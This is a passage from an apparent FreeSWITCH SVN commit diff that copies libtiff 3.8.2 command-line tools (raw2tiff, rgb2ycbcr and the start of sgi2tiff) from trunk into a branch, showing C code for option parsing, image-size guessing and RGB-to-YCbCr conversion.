+
+	while ((c = getopt(argc, argv, "c:r:H:w:l:b:d:LMp:si:o:h")) != -1) {
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'H':		/* size of input image file header */
+			hdr_size = atoi(optarg);
+			break;
+		case 'w':		/* input image width */
+			width = atoi(optarg);
+			break;
+		case 'l':		/* input image length */
+			length = atoi(optarg);
+			break;
+		case 'b':		/* number of bands in input image */
+			nbands = atoi(optarg);
+			break;
+		case 'd':		/* type of samples in input image */
+			if (strncmp(optarg, "byte", 4) == 0)
+				dtype = TIFF_BYTE;
+			else if (strncmp(optarg, "short", 5) == 0)
+				dtype = TIFF_SHORT;
+			else if  (strncmp(optarg, "long", 4) == 0)
+				dtype = TIFF_LONG;
+			else if  (strncmp(optarg, "sbyte", 5) == 0)
+				dtype = TIFF_SBYTE;
+			else if  (strncmp(optarg, "sshort", 6) == 0)
+				dtype = TIFF_SSHORT;
+			else if  (strncmp(optarg, "slong", 5) == 0)
+				dtype = TIFF_SLONG;
+			else if  (strncmp(optarg, "float", 5) == 0)
+				dtype = TIFF_FLOAT;
+			else if  (strncmp(optarg, "double", 6) == 0)
+				dtype = TIFF_DOUBLE;
+			else
+				dtype = TIFF_BYTE;
+			depth = TIFFDataWidth(dtype);
+			break;
+		case 'L':		/* input has lsb-to-msb fillorder */
+			fillorder = FILLORDER_LSB2MSB;
+			break;
+		case 'M':		/* input has msb-to-lsb fillorder */
+			fillorder = FILLORDER_MSB2LSB;
+			break;
+		case 'p':		/* photometric interpretation */
+			if (strncmp(optarg, "miniswhite", 10) == 0)
+				photometric = PHOTOMETRIC_MINISWHITE;
+			else if (strncmp(optarg, "minisblack", 10) == 0)
+				photometric = PHOTOMETRIC_MINISBLACK;
+			else if (strncmp(optarg, "rgb", 3) == 0)
+				photometric = PHOTOMETRIC_RGB;
+			else if (strncmp(optarg, "cmyk", 4) == 0)
+				photometric = PHOTOMETRIC_SEPARATED;
+			else if (strncmp(optarg, "ycbcr", 5) == 0)
+				photometric = PHOTOMETRIC_YCBCR;
+			else if (strncmp(optarg, "cielab", 6) == 0)
+				photometric = PHOTOMETRIC_CIELAB;
+			else if (strncmp(optarg, "icclab", 6) == 0)
+				photometric = PHOTOMETRIC_ICCLAB;
+			else if (strncmp(optarg, "itulab", 6) == 0)
+				photometric = PHOTOMETRIC_ITULAB;
+			else
+				photometric = PHOTOMETRIC_MINISBLACK;
+			break;
+		case 's':		/* do we need to swap bytes? */
+			swab = 1;
+			break;
+		case 'i':		/* type of interleaving */
+			if (strncmp(optarg, "pixel", 4) == 0)
+				interleaving = PIXEL;
+			else if  (strncmp(optarg, "band", 6) == 0)
+				interleaving = BAND;
+			else
+				interleaving = 0;
+			break;
+		case 'o':
+			outfilename = optarg;
+			break;
+		case 'h':
+			usage();
+		default:
+			break;
+		}
+        }
+
+        if (argc - optind < 2)
+		usage();
+
+        fd = open(argv[optind], O_RDONLY|O_BINARY, 0);
+	if (fd < 0) {
+		fprintf(stderr, "%s: %s: Cannot open input file.\n",
+			argv[0], argv[optind]);
+		return (-1);
+	}
+
+	if (guessSize(fd, dtype, hdr_size, nbands, swab, &width, &length) < 0)
+		return 1;
+
+	if (outfilename == NULL)
+		outfilename = argv[optind+1];
+	out = TIFFOpen(outfilename, "w");
+	if (out == NULL) {
+		fprintf(stderr, "%s: %s: Cannot open file for output.\n",
+			argv[0], outfilename);
+		return (-1);
+	}
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, length);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, nbands);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, depth * 8);
+	TIFFSetField(out, TIFFTAG_FILLORDER, fillorder);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, config);
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+	switch (dtype) {
+	case TIFF_BYTE:
+	case TIFF_SHORT:
+	case TIFF_LONG:
+		TIFFSetField(out, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT);
+		break;
+	case TIFF_SBYTE:
+	case TIFF_SSHORT:
+	case TIFF_SLONG:
+		TIFFSetField(out, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT);
+		break;
+	case TIFF_FLOAT:
+	case TIFF_DOUBLE:
+		TIFFSetField(out, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP);
+		break;
+	default:
+		TIFFSetField(out, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_VOID);
+		break;
+	}
+	if (compression == (uint16) -1)
+		compression = COMPRESSION_PACKBITS;
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		if (photometric == PHOTOMETRIC_RGB
+		    && jpegcolormode == JPEGCOLORMODE_RGB)
+			photometric = PHOTOMETRIC_YCBCR;
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor != 0)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	switch(interleaving) {
+	case BAND:				/* band interleaved data */
+		linebytes = width * depth;
+		buf = (unsigned char *)_TIFFmalloc(linebytes);
+		break;
+	case PIXEL:				/* pixel interleaved data */
+	default:
+		linebytes = width * nbands * depth;
+		break;
+	}
+	bufsize = width * nbands * depth;
+	buf1 = (unsigned char *)_TIFFmalloc(bufsize);
+
+	rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip);
+	if (rowsperstrip > length) {
+		rowsperstrip = length;
+	}
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip );
+
+	lseek(fd, hdr_size, SEEK_SET);		/* Skip the file header */
+	for (row = 0; row < length; row++) {
+		switch(interleaving) {
+		case BAND:			/* band interleaved data */
+			for (band = 0; band < nbands; band++) {
+				lseek(fd,
+				      hdr_size + (length*band+row)*linebytes,
+				      SEEK_SET);
+				if (read(fd, buf, linebytes) < 0) {
+					fprintf(stderr,
+					"%s: %s: scanline %lu: Read error.\n",
+					argv[0], argv[optind],
+					(unsigned long) row);
+				break;
+				}
+				if (swab)	/* Swap bytes if needed */
+					swapBytesInScanline(buf, width, dtype);
+				for (col = 0; col < width; col++)
+					memcpy(buf1 + (col*nbands+band)*depth,
+					       buf + col * depth, depth);
+			}
+			break;
+		case PIXEL:			/* pixel interleaved data */
+		default:
+			if (read(fd, buf1, bufsize) < 0) {
+				fprintf(stderr,
+					"%s: %s: scanline %lu: Read error.\n",
+					argv[0], argv[optind],
+					(unsigned long) row);
+				break;
+			}
+			if (swab)		/* Swap bytes if needed */
+				swapBytesInScanline(buf1, width, dtype);
+			break;
+		}
+				
+		if (TIFFWriteScanline(out, buf1, row, 0) < 0) {
+			fprintf(stderr,	"%s: %s: scanline %lu: Write error.\n",
+				argv[0], outfilename, (unsigned long) row);
+			break;
+		}
+	}
+	if (buf)
+		_TIFFfree(buf);
+	if (buf1)
+		_TIFFfree(buf1);
+	TIFFClose(out);
+	return (0);
+}
+
+static void
+swapBytesInScanline(void *buf, uint32 width, TIFFDataType dtype)
+{
+	switch (dtype) {
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			TIFFSwabArrayOfShort((uint16*)buf,
+                                             (unsigned long)width);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+			TIFFSwabArrayOfLong((uint32*)buf,
+                                            (unsigned long)width);
+			break;
+		/* case TIFF_FLOAT: */	/* FIXME */
+		case TIFF_DOUBLE:
+			TIFFSwabArrayOfDouble((double*)buf,
+                                              (unsigned long)width);
+			break;
+		default:
+			break;
+	}
+}
+
+static int
+guessSize(int fd, TIFFDataType dtype, off_t hdr_size, uint32 nbands,
+	  int swab, uint32 *width, uint32 *length)
+{
+	const float longt = 40.0;    /* maximum possible height/width ratio */
+	char	    *buf1, *buf2;
+	struct stat filestat;
+	uint32	    w, h, scanlinesize, imagesize;
+	uint32	    depth = TIFFDataWidth(dtype);
+	float	    cor_coef = 0, tmp;
+
+	fstat(fd, &filestat);
+
+	if (filestat.st_size < hdr_size) {
+		fprintf(stderr, "Too large header size specified.\n");
+		return -1;
+	}
+
+	imagesize = (filestat.st_size - hdr_size) / nbands / depth;
+
+	if (*width != 0 && *length == 0) {
+		fprintf(stderr,	"Image height is not specified.\n");
+
+		*length = imagesize / *width;
+		
+		fprintf(stderr, "Height is guessed as %lu.\n",
+			(unsigned long)*length);
+
+		return 1;
+	} else if (*width == 0 && *length != 0) {
+		fprintf(stderr, "Image width is not specified.\n");
+
+		*width = imagesize / *length;
+		
+		fprintf(stderr,	"Width is guessed as %lu.\n",
+			(unsigned long)*width);
+
+		return 1;
+	} else if (*width == 0 && *length == 0) {
+		fprintf(stderr,	"Image width and height are not specified.\n");
+
+		for (w = (uint32) sqrt(imagesize / longt);
+		     w < sqrt(imagesize * longt);
+		     w++) {
+			if (imagesize % w == 0) {
+				scanlinesize = w * depth;
+				buf1 = _TIFFmalloc(scanlinesize);
+				buf2 = _TIFFmalloc(scanlinesize);
+				h = imagesize / w;
+				lseek(fd, hdr_size + (int)(h/2)*scanlinesize,
+				      SEEK_SET);
+				read(fd, buf1, scanlinesize);
+				read(fd, buf2, scanlinesize);
+				if (swab) {
+					swapBytesInScanline(buf1, w, dtype);
+					swapBytesInScanline(buf2, w, dtype);
+				}
+				tmp = (float) fabs(correlation(buf1, buf2,
+							       w, dtype));
+				if (tmp > cor_coef) {
+					cor_coef = tmp;
+					*width = w, *length = h;
+				}
+
+				_TIFFfree(buf1);
+				_TIFFfree(buf2);
+			}
+		}
+
+		fprintf(stderr,
+			"Width is guessed as %lu, height is guessed as %lu.\n",
+			(unsigned long)*width, (unsigned long)*length);
+
+		return 1;
+	} else {
+		if (filestat.st_size<(off_t)(hdr_size+(*width)*(*length)*nbands*depth)) {
+			fprintf(stderr, "Input file too small.\n");
+		return -1;
+		}
+	}
+
+	return 1;
+}
+
+/* Calculate correlation coefficient between two numeric vectors */
+static double
+correlation(void *buf1, void *buf2, uint32 n_elem, TIFFDataType dtype)
+{
+	double	X, Y, M1 = 0.0, M2 = 0.0, D1 = 0.0, D2 = 0.0, K = 0.0;
+	uint32	i;
+
+	switch (dtype) {
+		case TIFF_BYTE:
+		default:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((unsigned char *)buf1)[i];
+				Y = ((unsigned char *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_SBYTE:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((signed char *)buf1)[i];
+				Y = ((signed char *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_SHORT:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((uint16 *)buf1)[i];
+				Y = ((uint16 *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_SSHORT:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((int16 *)buf1)[i];
+				Y = ((int16 *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_LONG:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((uint32 *)buf1)[i];
+				Y = ((uint32 *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_SLONG:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((int32 *)buf1)[i];
+				Y = ((int32 *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_FLOAT:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((float *)buf1)[i];
+				Y = ((float *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+		case TIFF_DOUBLE:
+                        for (i = 0; i < n_elem; i++) {
+				X = ((double *)buf1)[i];
+				Y = ((double *)buf2)[i];
+				M1 += X, M2 += Y;
+				D1 += X * X, D2 += Y * Y;
+				K += X * Y;
+                        }
+			break;
+	}
+
+	M1 /= n_elem;
+	M2 /= n_elem;
+	D1 -= M1 * M1 * n_elem;
+	D2 -= M2 * M2 * n_elem;
+	K = (K - M1 * M2 * n_elem) / sqrt(D1 * D2);
+
+	return K;
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (strcmp(opt, "none") == 0)
+		compression = COMPRESSION_NONE;
+	else if (strcmp(opt, "packbits") == 0)
+		compression = COMPRESSION_PACKBITS;
+	else if (strncmp(opt, "jpeg", 4) == 0) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strncmp(opt, "lzw", 3) == 0) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strncmp(opt, "zip", 3) == 0) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+static char* stuff[] = {
+"raw2tiff --- tool for converting raw byte sequences in TIFF images",
+"usage: raw2tiff [options] input.raw output.tif",
+"where options are:",
+" -L		input data has LSB2MSB bit order (default)",
+" -M		input data has MSB2LSB bit order",
+" -r #		make each strip have no more than # rows",
+" -H #		size of input image file header in bytes (0 by default)",
+" -w #		width of input image in pixels",
+" -l #		length of input image in lines",
+" -b #		number of bands in input image (1 by default)",
+"",
+" -d data_type	type of samples in input image",
+"where data_type may be:",
+" byte		8-bit unsigned integer (default)",
+" short		16-bit unsigned integer",
+" long		32-bit unsigned integer",
+" sbyte		8-bit signed integer",
+" sshort		16-bit signed integer",
+" slong		32-bit signed integer",
+" float		32-bit IEEE floating point",
+" double		64-bit IEEE floating point",
+"",
+" -p photo	photometric interpretation (color space) of the input image",
+"where photo may be:",
+" miniswhite	white color represented with 0 value",
+" minisblack	black color represented with 0 value (default)",
+" rgb		image has RGB color model",
+" cmyk		image has CMYK (separated) color model",
+" ycbcr		image has YCbCr color model",
+" cielab		image has CIE L*a*b color model",
+" icclab		image has ICC L*a*b color model",
+" itulab		image has ITU L*a*b color model",
+"",
+" -s		swap bytes fetched from input file",
+"",
+" -i config	type of samples interleaving in input image",
+"where config may be:",
+" pixel		pixel interleaved data (default)",
+" band		band interleaved data",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c jpeg[:opts]	compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+" -o out.tif	write output to out.tif",
+" -h		this help message",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/rgb2ycbcr.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/rgb2ycbcr.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/rgb2ycbcr.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/rgb2ycbcr.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/rgb2ycbcr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,357 @@
+/* $Id: rgb2ycbcr.c,v 1.9 2004/09/03 07:57:13 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+
+#ifndef howmany
+#define	howmany(x, y)	(((x)+((y)-1))/(y))
+#endif
+#define	roundup(x, y)	(howmany(x,y)*((uint32)(y)))
+
+#define	LumaRed		ycbcrCoeffs[0]
+#define	LumaGreen	ycbcrCoeffs[1]
+#define	LumaBlue	ycbcrCoeffs[2]
+
+uint16	compression = COMPRESSION_PACKBITS;
+uint32	rowsperstrip = (uint32) -1;
+
+uint16	horizSubSampling = 2;		/* YCbCr horizontal subsampling */
+uint16	vertSubSampling = 2;		/* YCbCr vertical subsampling */
+float	ycbcrCoeffs[3] = { .299F, .587F, .114F };
+/* default coding range is CCIR Rec 601-1 with no headroom/footroom */
+float	refBlackWhite[6] = { 0.F, 255.F, 128.F, 255.F, 128.F, 255.F };
+
+static	int tiffcvt(TIFF* in, TIFF* out);
+static	void usage(int code);
+static	void setupLumaTables(void);
+
+int
+main(int argc, char* argv[])
+{
+	TIFF *in, *out;
+	int c;
+	extern int optind;
+	extern char *optarg;
+
+	while ((c = getopt(argc, argv, "c:h:r:v:z")) != -1)
+		switch (c) {
+		case 'c':
+			if (streq(optarg, "none"))
+			    compression = COMPRESSION_NONE;
+			else if (streq(optarg, "packbits"))
+			    compression = COMPRESSION_PACKBITS;
+			else if (streq(optarg, "lzw"))
+			    compression = COMPRESSION_LZW;
+			else if (streq(optarg, "jpeg"))
+			    compression = COMPRESSION_JPEG;
+			else if (streq(optarg, "zip"))
+			    compression = COMPRESSION_ADOBE_DEFLATE;
+			else
+			    usage(-1);
+			break;
+		case 'h':
+			horizSubSampling = atoi(optarg);
+			break;
+		case 'v':
+			vertSubSampling = atoi(optarg);
+			break;
+		case 'r':
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'z':	/* CCIR Rec 601-1 w/ headroom/footroom */
+			refBlackWhite[0] = 16.;
+			refBlackWhite[1] = 235.;
+			refBlackWhite[2] = 128.;
+			refBlackWhite[3] = 240.;
+			refBlackWhite[4] = 128.;
+			refBlackWhite[5] = 240.;
+			break;
+		case '?':
+			usage(0);
+			/*NOTREACHED*/
+		}
+	if (argc - optind < 2)
+		usage(-1);
+	out = TIFFOpen(argv[argc-1], "w");
+	if (out == NULL)
+		return (-2);
+	setupLumaTables();
+	for (; optind < argc-1; optind++) {
+		in = TIFFOpen(argv[optind], "r");
+		if (in != NULL) {
+			do {
+				if (!tiffcvt(in, out) ||
+				    !TIFFWriteDirectory(out)) {
+					(void) TIFFClose(out);
+					return (1);
+				}
+			} while (TIFFReadDirectory(in));
+			(void) TIFFClose(in);
+		}
+	}
+	(void) TIFFClose(out);
+	return (0);
+}
+
+float	*lumaRed;
+float	*lumaGreen;
+float	*lumaBlue;
+float	D1, D2;
+int	Yzero;
+
+static float*
+setupLuma(float c)
+{
+	float *v = (float *)_TIFFmalloc(256 * sizeof (float));
+	int i;
+	for (i = 0; i < 256; i++)
+		v[i] = c * i;
+	return (v);
+}
+
+static unsigned
+V2Code(float f, float RB, float RW, int CR)
+{
+	unsigned int c = (unsigned int)((((f)*(RW-RB)/CR)+RB)+.5);
+	return (c > 255 ? 255 : c);
+}
+
+static void
+setupLumaTables(void)
+{
+	lumaRed = setupLuma(LumaRed);
+	lumaGreen = setupLuma(LumaGreen);
+	lumaBlue = setupLuma(LumaBlue);
+	D1 = 1.F/(2.F - 2.F*LumaBlue);
+	D2 = 1.F/(2.F - 2.F*LumaRed);
+	Yzero = V2Code(0, refBlackWhite[0], refBlackWhite[1], 255);
+}
+
+static void
+cvtClump(unsigned char* op, uint32* raster, uint32 ch, uint32 cw, uint32 w)
+{
+	float Y, Cb = 0, Cr = 0;
+	uint32 j, k;
+	/*
+	 * Convert ch-by-cw block of RGB
+	 * to YCbCr and sample accordingly.
+	 */
+	for (k = 0; k < ch; k++) {
+		for (j = 0; j < cw; j++) {
+			uint32 RGB = (raster - k*w)[j];
+			Y = lumaRed[TIFFGetR(RGB)] +
+			    lumaGreen[TIFFGetG(RGB)] +
+			    lumaBlue[TIFFGetB(RGB)];
+			/* accumulate chrominance */
+			Cb += (TIFFGetB(RGB) - Y) * D1;
+			Cr += (TIFFGetR(RGB) - Y) * D2;
+			/* emit luminence */
+			*op++ = V2Code(Y,
+			    refBlackWhite[0], refBlackWhite[1], 255);
+		}
+		for (; j < horizSubSampling; j++)
+			*op++ = Yzero;
+	}
+	for (; k < vertSubSampling; k++) {
+		for (j = 0; j < horizSubSampling; j++)
+			*op++ = Yzero;
+	}
+	/* emit sampled chrominance values */
+	*op++ = V2Code(Cb / (ch*cw), refBlackWhite[2], refBlackWhite[3], 127);
+	*op++ = V2Code(Cr / (ch*cw), refBlackWhite[4], refBlackWhite[5], 127);
+}
+#undef LumaRed
+#undef LumaGreen
+#undef LumaBlue
+#undef V2Code
+
+/*
+ * Convert a strip of RGB data to YCbCr and
+ * sample to generate the output data.
+ */
+static void
+cvtStrip(unsigned char* op, uint32* raster, uint32 nrows, uint32 width)
+{
+	uint32 x;
+	int clumpSize = vertSubSampling * horizSubSampling + 2;
+	uint32 *tp;
+
+	for (; nrows >= vertSubSampling; nrows -= vertSubSampling) {
+		tp = raster;
+		for (x = width; x >= horizSubSampling; x -= horizSubSampling) {
+			cvtClump(op, tp,
+			    vertSubSampling, horizSubSampling, width);
+			op += clumpSize;
+			tp += horizSubSampling;
+		}
+		if (x > 0) {
+			cvtClump(op, tp, vertSubSampling, x, width);
+			op += clumpSize;
+		}
+		raster -= vertSubSampling*width;
+	}
+	if (nrows > 0) {
+		tp = raster;
+		for (x = width; x >= horizSubSampling; x -= horizSubSampling) {
+			cvtClump(op, tp, nrows, horizSubSampling, width);
+			op += clumpSize;
+			tp += horizSubSampling;
+		}
+		if (x > 0)
+			cvtClump(op, tp, nrows, x, width);
+	}
+}
+
+static int
+cvtRaster(TIFF* tif, uint32* raster, uint32 width, uint32 height)
+{
+	uint32 y;
+	tstrip_t strip = 0;
+	tsize_t cc, acc;
+	unsigned char* buf;
+	uint32 rwidth = roundup(width, horizSubSampling);
+	uint32 rheight = roundup(height, vertSubSampling);
+	uint32 nrows = (rowsperstrip > rheight ? rheight : rowsperstrip);
+        uint32 rnrows = roundup(nrows,vertSubSampling);
+
+	cc = rnrows*rwidth +
+	    2*((rnrows*rwidth) / (horizSubSampling*vertSubSampling));
+	buf = (unsigned char*)_TIFFmalloc(cc);
+	for (y = height; (int32) y > 0; y -= nrows) {
+		uint32 nr = (y > nrows ? nrows : y);
+		cvtStrip(buf, raster + (y-1)*width, nr, width);
+		nr = roundup(nr, vertSubSampling);
+		acc = nr*rwidth +
+			2*((nr*rwidth)/(horizSubSampling*vertSubSampling));
+		if (!TIFFWriteEncodedStrip(tif, strip++, buf, acc)) {
+			_TIFFfree(buf);
+			return (0);
+		}
+	}
+	_TIFFfree(buf);
+	return (1);
+}
+
+static int
+tiffcvt(TIFF* in, TIFF* out)
+{
+	uint32 width, height;		/* image width & height */
+	uint32* raster;			/* retrieve RGBA image */
+	uint16 shortv;
+	float floatv;
+	char *stringv;
+	uint32 longv;
+
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);
+	raster = (uint32*)_TIFFmalloc(width * height * sizeof (uint32));
+	if (raster == 0) {
+		TIFFError(TIFFFileName(in), "No space for raster buffer");
+		return (0);
+	}
+	if (!TIFFReadRGBAImage(in, width, height, raster, 0)) {
+		_TIFFfree(raster);
+		return (0);
+	}
+
+	CopyField(TIFFTAG_SUBFILETYPE, longv);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, height);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 8);
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR);
+	if (compression == COMPRESSION_JPEG)
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW);
+	CopyField(TIFFTAG_FILLORDER, shortv);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 3);
+	CopyField(TIFFTAG_XRESOLUTION, floatv);
+	CopyField(TIFFTAG_YRESOLUTION, floatv);
+	CopyField(TIFFTAG_RESOLUTIONUNIT, shortv);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	{ char buf[2048];
+	  char *cp = strrchr(TIFFFileName(in), '/');
+	  sprintf(buf, "YCbCr conversion of %s", cp ? cp+1 : TIFFFileName(in));
+	  TIFFSetField(out, TIFFTAG_IMAGEDESCRIPTION, buf);
+	}
+	TIFFSetField(out, TIFFTAG_SOFTWARE, TIFFGetVersion());
+	CopyField(TIFFTAG_DOCUMENTNAME, stringv);
+
+	TIFFSetField(out, TIFFTAG_REFERENCEBLACKWHITE, refBlackWhite);
+	TIFFSetField(out, TIFFTAG_YCBCRSUBSAMPLING,
+	    horizSubSampling, vertSubSampling);
+	TIFFSetField(out, TIFFTAG_YCBCRPOSITIONING, YCBCRPOSITION_CENTERED);
+	TIFFSetField(out, TIFFTAG_YCBCRCOEFFICIENTS, ycbcrCoeffs);
+	rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip);
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+
+	return (cvtRaster(out, raster, width, height));
+}
+
+char* stuff[] = {
+    "usage: rgb2ycbcr [-c comp] [-r rows] [-h N] [-v N] input... output\n",
+    "where comp is one of the following compression algorithms:\n",
+    " jpeg\t\tJPEG encoding\n",
+    " lzw\t\tLempel-Ziv & Welch encoding\n",
+    " zip\t\tdeflate encoding\n",
+    " packbits\tPackBits encoding (default)\n",
+    " none\t\tno compression\n",
+    "and the other options are:\n",
+    " -r\trows/strip\n",
+    " -h\thorizontal sampling factor (1,2,4)\n",
+    " -v\tvertical sampling factor (1,2,4)\n",
+    NULL
+};
+
+static void
+usage(int code)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+       
+ fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(code);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgi2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgi2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/sgi2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgi2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/sgi2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,328 @@
+/* $Id: sgi2tiff.c,v 1.5 2006/01/11 16:59:36 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
